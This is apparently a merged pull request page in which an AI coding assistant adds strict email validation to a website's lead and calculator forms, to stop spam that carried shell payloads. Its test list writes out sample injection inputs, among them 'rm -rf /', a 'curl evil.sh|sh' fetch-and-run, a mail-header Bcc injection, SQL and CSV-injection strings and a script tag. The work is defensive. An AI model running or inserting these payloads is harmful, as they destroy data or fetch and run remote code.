Validate email addresses on both public form endpoints #25

Merged
JoeBot merged 1 commits from feature/strict-email-validation into main 2026-07-23 08:25:55 -04:00
Owner

Follow-up to #24. The ROI calculator accepted the email field with no validation at all and stored whatever arrived — that's where the spam was putting shell-command payloads.

On the premise

Those commands could not have executed. There is no child_process, exec, spawn or eval anywhere in the codebase, and every write goes through parameterized prepared statements. This looks like a scattergun bot spraying payloads at every field it finds. The junk was still being persisted, though, and the field is the right place to stop it.

What this adds

security.validateEmail(), deliberately stricter than RFC 5322. The local part is limited to the characters real-world addresses actually use, which structurally excludes every shell metacharacter (; | & + "" + $ ( ) < > \ " '` and space). On top of the pattern:

  • Control characters rejected, including the CR/LF used for mail-header injection
  • Length caps: 254 total / 64 local / 253 domain
  • Non-strings rejected (an array or object posted as email previously reached .trim() and threw a 500)
  • Normalized to trimmed lowercase before storage

Applied to /api/calculate (optional — empty is fine, present must be valid) and to /api/leads, replacing its much weaker /^[^\s@]+@[^\s@]+\.[^\s@]+$/. The client mirrors the check for instant feedback; the server stays authoritative.

Also hardens the /api/leads required-field checks, which called .trim() on unvalidated input and returned a 500 rather than a 400 for non-string input.

Verification

38 cases, all passing.

Accepted: first.last@sub.domain.co.uk, user+tag@gmail.com, o.brien99@my-hoa.org, x_y%z@mail.example.museum, UPPER@Example.COM.

Blocked: a@b.com; rm -rf /, $(whoami)@evil.com, `id`@x.com, a@b.com && curl evil.sh|sh, foo@bar.com\nBcc: victim@x.com, '; DROP TABLE leads;--@x.com, =cmd|'/c calc'!A1@x.com (CSV injection), <script>alert(1)</script>@x.com, over-length local parts and domains, arrays/objects/numbers.

Verified through a live endpoint as well: injection payloads return 400 {"field":"email"} with nothing stored; a clean address stores normalized.

Trade-off

RFC-legal but vanishingly rare addresses (foo!bar$baz@x.com, a leading + in the local part) are rejected. Those characters are exactly the injection surface — turning away a hypothetical address beats storing a shell string. Easy to loosen if it ever bites.

🤖 Generated with Claude Code

Follow-up to #24. The ROI calculator accepted the `email` field with **no validation at all** and stored whatever arrived — that's where the spam was putting shell-command payloads. ## On the premise Those commands could not have executed. There is no `child_process`, `exec`, `spawn` or `eval` anywhere in the codebase, and every write goes through parameterized prepared statements. This looks like a scattergun bot spraying payloads at every field it finds. The junk was still being persisted, though, and the field is the right place to stop it. ## What this adds `security.validateEmail()`, deliberately stricter than RFC 5322. The local part is limited to the characters real-world addresses actually use, which structurally excludes every shell metacharacter (`; | & ` + "`" + ` $ ( ) < > \ " '` and space). On top of the pattern: - Control characters rejected, including the CR/LF used for mail-header injection - Length caps: 254 total / 64 local / 253 domain - Non-strings rejected (an array or object posted as `email` previously reached `.trim()` and threw a 500) - Normalized to trimmed lowercase before storage Applied to `/api/calculate` (optional — empty is fine, present must be valid) and to `/api/leads`, replacing its much weaker `/^[^\s@]+@[^\s@]+\.[^\s@]+$/`. The client mirrors the check for instant feedback; the server stays authoritative. Also hardens the `/api/leads` required-field checks, which called `.trim()` on unvalidated input and returned a 500 rather than a 400 for non-string input. ## Verification 38 cases, all passing. Accepted: `first.last@sub.domain.co.uk`, `user+tag@gmail.com`, `o.brien99@my-hoa.org`, `x_y%z@mail.example.museum`, `UPPER@Example.COM`. Blocked: `a@b.com; rm -rf /`, `$(whoami)@evil.com`, `` `id`@x.com ``, `a@b.com && curl evil.sh|sh`, `foo@bar.com\nBcc: victim@x.com`, `'; DROP TABLE leads;--@x.com`, `=cmd|'/c calc'!A1@x.com` (CSV injection), `<script>alert(1)</script>@x.com`, over-length local parts and domains, arrays/objects/numbers. Verified through a live endpoint as well: injection payloads return `400 {"field":"email"}` with nothing stored; a clean address stores normalized. ## Trade-off RFC-legal but vanishingly rare addresses (`foo!bar$baz@x.com`, a leading `+` in the local part) are rejected. Those characters are exactly the injection surface — turning away a hypothetical address beats storing a shell string. Easy to loosen if it ever bites. 🤖 Generated with [Claude Code](https://claude.com/claude-code)
JoeBot added 1 commit 2026-07-23 08:25:47 -04:00
The ROI calculator accepted the email field with no validation at all and
stored whatever arrived, which is where the spam submissions were putting
shell-command payloads. Nothing was executable — there is no child_process
or eval in the codebase and all writes are parameterized — but the junk was
being persisted, and the field is the obvious place to stop it.

Adds security.validateEmail(), deliberately stricter than RFC 5322: the
local part is limited to the characters real addresses use, which excludes
every shell metacharacter (; | & ` $ ( ) < > \ " ' space) and CSV-injection
lead-ins. Also rejects control characters (including the CR/LF used for
mail-header injection), caps lengths at 254/64/253, rejects non-strings,
and normalizes to trimmed lowercase before storage.

Applied to /api/calculate (optional field — empty is fine, present must be
valid) and to /api/leads, replacing its much weaker regex. The client
mirrors the check for immediate feedback; the server remains authoritative.

Also hardens the /api/leads required-field checks, which called .trim() on
unvalidated input and returned a 500 rather than a 400 when a bot posted a
non-string.

Trade-off: RFC-legal but vanishingly rare addresses (foo!bar$baz@x.com, a
leading + in the local part) are rejected. Those characters are the
injection surface.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
JoeBot merged commit 5f4af3886c into main 2026-07-23 08:25:55 -04:00
Sign in to join this conversation.
No Reviewers
No Label
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: JoeBot/HOALedgerIQ_Website#25
No description provided.